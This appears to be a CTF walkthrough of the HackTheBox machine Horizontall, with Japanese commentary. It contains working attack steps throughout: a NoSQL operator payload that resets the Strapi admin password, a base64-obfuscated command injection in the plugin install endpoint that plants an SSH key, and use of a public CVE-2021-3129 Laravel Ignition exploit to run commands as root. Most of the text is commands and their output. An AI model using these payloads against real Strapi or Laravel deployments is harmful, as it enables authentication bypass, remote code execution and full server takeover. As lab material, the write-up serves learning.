nmap -Pn -p- --min-rate 500 -T4 10.129.90.28
nmap -sV -sC -p 22,80 10.129.90.28

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0
|_http-title: Did not follow redirect to http://horizontall.htb/

echo "10.129.90.28  horizontall.htb" | sudo tee -a /etc/hosts
curl -s http://horizontall.htb/ | grep -oP '/js/app\.\w+\.js'

<title>horizontall</title>
<script src="/js/app.c68eb462.js"></script>
(Vue.jsシングルページアプリケーション、noscript警告あり)

curl -s http://horizontall.htb/js/app.c68eb462.js | grep -oP 'http://[a-z0-9.-]+\.horizontall\.htb[^"'"'"']*'

r.a.get("http://api-prod.horizontall.htb/reviews")

echo "10.129.90.28  api-prod.horizontall.htb" | sudo tee -a /etc/hosts
curl -s http://api-prod.horizontall.htb/admin/init

{"data":{"uuid":"...","currentEnvironment":"development",
"autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}

Strapi 3.0.0-beta系の /admin/auth/reset-password エンドポイントは、
パスワードリセット用のメール内トークン("code")をMongoDB/NoSQLクエリの
演算子としてそのままデータベース検索に使ってしまう実装上の不備がある。
通常は特定ユーザーに送信された正しいトークン文字列と完全一致する
レコードを検索するが、ここに文字列ではなく NoSQL 比較演算子
{"$gt": 0} (「0より大きい」=常に真) を送り込むと、トークンの値に
関係なく最初に見つかったユーザー(通常は管理者)のレコードが
ヒットしてしまい、そのユーザーのパスワードを攻撃者が指定した値に
リセットできてしまう(認証バイパス)。

POST /admin/auth/reset-password HTTP/1.1
Host: api-prod.horizontall.htb
Content-Type: application/json

{"code":{"$gt":0},"password":"SuperStrongPassword1","passwordConfirmation":"SuperStrongPassword1"}

curl -s -X POST http://api-prod.horizontall.htb/admin/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{"code":{"$gt":0},"password":"SuperStrongPassword1","passwordConfirmation":"SuperStrongPassword1"}'

{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
 "user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}

管理者権限で到達できる /admin/plugins/install エンドポイントは、
インストールするプラグイン名を内部的にシェルコマンド構築へ利用しており、
"plugin"パラメータの値をサニタイズせず渡している。プラグイン名の末尾に
"&& $(コマンド)" を連結することで、プラグインインストール処理の
一部としてOSコマンドを実行できる(Strapiプロセスのユーザー権限=strapi)。
このAPI自体はインストール失敗で400エラーを返すだけだが、注入した
シェルコマンドは応答を待たず既に実行されている("blind" RCE)。

ssh-keygen -t ed25519 -f horizontall_strapi -N "" -q
PUBKEY=$(cat horizontall_strapi.pub)

CMD="mkdir -p /opt/strapi/.ssh && echo '$PUBKEY' >> /opt/strapi/.ssh/authorized_keys && chmod 700 /opt/strapi/.ssh && chmod 600 /opt/strapi/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)

curl -s -X POST http://api-prod.horizontall.htb/admin/plugins/install \
  -H "Authorization: Bearer <JWT>" \
  -H "Content-Type: application/json" \
  -d "{\"plugin\": \"documentation && \$(echo ${B64} | base64 -d | bash)\", \"port\": \"1337\"}"

{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

ssh -i horizontall_strapi -o StrictHostKeyChecking=no strapi@10.129.90.28 \
  "id; cat /home/developer/user.txt"

uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
d47990bcac502e799ff22d2ecdc07e70

ss -alnp | grep 127.0.0.1

LISTEN  0  128  127.0.0.1:1337   (strapi本体)
LISTEN  0  128  127.0.0.1:8000   (別アプリ)
LISTEN  0  80   127.0.0.1:3306   (mysql)

ssh -i horizontall_strapi -N -L 8000:127.0.0.1:8000 strapi@10.129.90.28

curl -s http://127.0.0.1:8000 | grep -i title

<title>Laravel</title>

CVE-2021-3129は、Laravel標準のエラーページ描画(Ignition)が、
ログファイルパスとして任意の文字列(phar://経由のPHARファイル)を
受け付けてしまう脆弱性。phpggc(PHP Generic Gadget Chain)で
Monolog/RCE1ガジェットチェーンを使ったPHARファイルを生成し、
ログビューア機能にそのパスを渡すことでPHARデシリアライズが発生し、
任意コード実行に至る。本検証ではこの一連の手順を自動化した
公開PoC(nth347/CVE-2021-3129_exploit、内部でphpggcを自動取得)を利用した。

git clone --depth 1 https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "cat /root/root.txt"

[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

839c4d1c752f7da9355848be0ba0a2e4